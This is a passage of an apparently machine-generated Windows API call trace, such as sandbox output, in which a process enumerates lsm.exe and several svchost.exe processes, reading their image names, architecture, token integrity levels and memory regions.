hProcess=0x190, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.286] NtQueryInformationProcess (in: ProcessHandle=0x190, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.286] GetProcessTimes (in: hProcess=0x190, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.286] OpenProcessToken (in: ProcessHandle=0x190, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.286] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.287] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.287] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.287] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.287] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.287] NtClose (Handle=0x2e8) returned 0x0 [0074.287] NtQueryVirtualMemory (in: ProcessHandle=0x190, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.287] NtQueryVirtualMemory (in: ProcessHandle=0x190, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.312] QueryFullProcessImageNameW (in: hProcess=0x148, dwFlags=0x0, lpExeName=0x17dce80, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\lsm.exe", lpdwSize=0x174fa50) returned 1 [0074.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17dce80) returned 1 [0074.312] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.312] IsWow64Process (in: hProcess=0x148, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.312] NtQueryInformationProcess (in: ProcessHandle=0x148, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.312] GetProcessTimes (in: hProcess=0x148, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.312] OpenProcessToken (in: ProcessHandle=0x148, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.312] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.312] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.312] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.312] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.312] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.312] NtClose (Handle=0x2e8) returned 0x0 [0074.312] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.312] NtQueryVirtualMemory (in: ProcessHandle=0x148, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.321] QueryFullProcessImageNameW (in: hProcess=0x19c, dwFlags=0x0, lpExeName=0x17dce80, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.321] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17dce80) returned 1 [0074.321] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.321] IsWow64Process (in: hProcess=0x19c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.321] NtQueryInformationProcess (in: ProcessHandle=0x19c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.321] GetProcessTimes (in: hProcess=0x19c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.321] OpenProcessToken (in: ProcessHandle=0x19c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.322] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.322] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.322] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.322] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.322] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.322] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.322] NtClose (Handle=0x2e8) returned 0x0 [0074.322] NtQueryVirtualMemory (in: ProcessHandle=0x19c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.322] NtQueryVirtualMemory (in: ProcessHandle=0x19c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.345] QueryFullProcessImageNameW (in: hProcess=0x194, dwFlags=0x0, lpExeName=0x1071bc0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1071bc0) returned 1 [0074.346] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.346] IsWow64Process (in: hProcess=0x194, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.346] NtQueryInformationProcess (in: ProcessHandle=0x194, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.346] GetProcessTimes (in: hProcess=0x194, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.346] OpenProcessToken (in: ProcessHandle=0x194, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.346] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.346] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.346] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.346] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.346] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.346] NtClose (Handle=0x2e8) returned 0x0 [0074.346] NtQueryVirtualMemory (in: ProcessHandle=0x194, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.346] NtQueryVirtualMemory (in: ProcessHandle=0x194, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.364] QueryFullProcessImageNameW (in: hProcess=0x1a4, dwFlags=0x0, lpExeName=0xfffee8, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfffee8) returned 1 [0074.364] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.364] IsWow64Process (in: hProcess=0x1a4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.364] NtQueryInformationProcess (in: ProcessHandle=0x1a4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.364] GetProcessTimes (in: hProcess=0x1a4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.364] OpenProcessToken (in: ProcessHandle=0x1a4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.367] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.367] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.367] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.367] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.367] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.367] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.367] NtClose (Handle=0x2e8) returned 0x0 [0074.367] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.367] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.404] QueryFullProcessImageNameW (in: hProcess=0x1a8, dwFlags=0x0, lpExeName=0x1001030, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1001030) returned 1 [0074.405] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.405] IsWow64Process (in: hProcess=0x1a8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.405] NtQueryInformationProcess (in: ProcessHandle=0x1a8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.405] GetProcessTimes (in: hProcess=0x1a8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.405] OpenProcessToken (in: ProcessHandle=0x1a8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.405] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.405] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.405] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.405] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.405] NtClose (Handle=0x2e8) returned 0x0 [0074.405] NtQueryVirtualMemory (in: ProcessHandle=0x1a8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.405] NtQueryVirtualMemory (in: ProcessHandle=0x1a8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.448] QueryFullProcessImageNameW (in: hProcess=0x17c, dwFlags=0x0, lpExeName=0x1000ee8, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1000ee8) returned 1 [0074.448] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.448] IsWow64Process (in: hProcess=0x17c, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.448] NtQueryInformationProcess (in: ProcessHandle=0x17c, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.448] GetProcessTimes (in: hProcess=0x17c, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.448] OpenProcessToken (in: ProcessHandle=0x17c, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.448] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.449] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.449] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.449] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.449] NtClose (Handle=0x2e8) returned 0x0 [0074.449] NtQueryVirtualMemory (in: ProcessHandle=0x17c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.449] NtQueryVirtualMemory (in: ProcessHandle=0x17c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.510] QueryFullProcessImageNameW (in: hProcess=0x1ac, dwFlags=0x0, lpExeName=0x17f0fd8, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.510] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f0fd8) returned 1 [0074.510] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.510] IsWow64Process (in: hProcess=0x1ac, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.510] NtQueryInformationProcess (in: ProcessHandle=0x1ac, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.510] GetProcessTimes (in: hProcess=0x1ac, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.510] OpenProcessToken (in: ProcessHandle=0x1ac, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.510] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.510] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.510] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.510] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.510] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.511] NtClose (Handle=0x2e8) returned 0x0 [0074.511] NtQueryVirtualMemory (in: ProcessHandle=0x1ac, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.511] NtQueryVirtualMemory (in: ProcessHandle=0x1ac, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0074.535] QueryFullProcessImageNameW (in: hProcess=0x1b0, dwFlags=0x0, lpExeName=0x17f02d0, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0074.535] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17f02d0) returned 1 [0074.535] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0074.535] IsWow64Process (in: hProcess=0x1b0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0074.535] NtQueryInformationProcess (in: ProcessHandle=0x1b0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0074.535] GetProcessTimes (in: hProcess=0x1b0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0074.535] OpenProcessToken (in: ProcessHandle=0x1b0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0074.535] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0074.535] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0074.535] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0074.536] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0074.536] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0074.536] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0074.536] NtClose (Handle=0x2e8) returned 0x0 [0074.536] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: 